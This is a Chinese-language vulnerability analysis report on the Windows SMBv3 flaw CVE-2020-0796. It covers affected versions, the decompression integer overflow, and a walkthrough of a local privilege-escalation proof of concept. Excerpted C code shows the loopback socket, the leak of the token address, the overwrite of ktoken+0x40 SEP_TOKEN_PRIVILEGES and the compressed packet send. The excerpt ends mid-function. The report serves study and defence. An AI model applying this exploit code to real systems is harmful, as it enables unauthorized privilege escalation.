漏洞分析报告
1. 漏洞介绍
1.1 名称
微软SMBv3 Client/Server远程代码执行漏洞CVE-2020-0796
1.2 影响范围
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
1.3 SMB介绍
Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议,在大部分Windows系统中都是默认开启的,用于在计算机间共享文件、打印机等,Windows 10和Windows Server 2016引入了SMB 3.1.1,本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
2. POC简介
该POC用来恶意提权,虽然该漏洞发生在远程数据传输,但是该POC是本地运行的恶意提权软件,实质上还是需要构造数据包,发生到服务器,但是这里客户端和服务器都是同一台机器,之所以POC需要这样构造,是因为利用该漏洞我们可以实现向任意区域写任意数据,但由于地址随机化,我们在客户端很难获取想要写入的服务器地址。
3. 静态分析
静态分析部分包括利用IDA静态分析漏洞所在驱动(srv2.sys)和分析POC代码。
3.1 POC分析
构造socket:
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == INVALID_SOCKET) { printf("socket() failed with error: %d ", WSAGetLastError()); WSACleanup(); return EXIT_FAILURE; } sockaddr_in client; client.sin_family = AF_INET; client.sin_port = htons(445); InetPton(AF_INET, "127.0.0.1", &client.sin_addr);
如代码段所示,该程序构造socket用于发送SMB数据包,且目的地址为本机。
获取当前进程的令牌:
ktoken = get_process_token();//自定义函数 if (ktoken == -1) { printf("Couldn't leak ktoken of current process... "); return EXIT_FAILURE; } ULONG64 get_process_token() { HANDLE token; HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId()); if (proc == INVALID_HANDLE_VALUE) return 0; //参数分别为 1:要修改访问权限的进程句柄 2:要对令牌进行何种操作 3:返回的访问令牌指针 OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token); ULONG64 ktoken = get_handle_addr(token); return ktoken; }
构造数据:
memset(buffer, 'A', 0x1108); *(uint64_t*)(buffer + 0x1108) = ktoken + 0x40;
经过查询,ktoken + 0x40对应的字段是SEP_TOKEN_PRIVILEGES,可以通过修改该字段提权。
压缩数据:
err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size, compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace); if (err != STATUS_SUCCESS) { printf("RtlCompressBuffer() failed with error: %#x ", err); free(lpWorkSpace); return error_exit(sock, NULL); }
发送SMB数据包:
if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) { return error_exit(sock, "send()"); }
int send_compressed(SOCKET sock, unsigned char*)。
本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/62048.html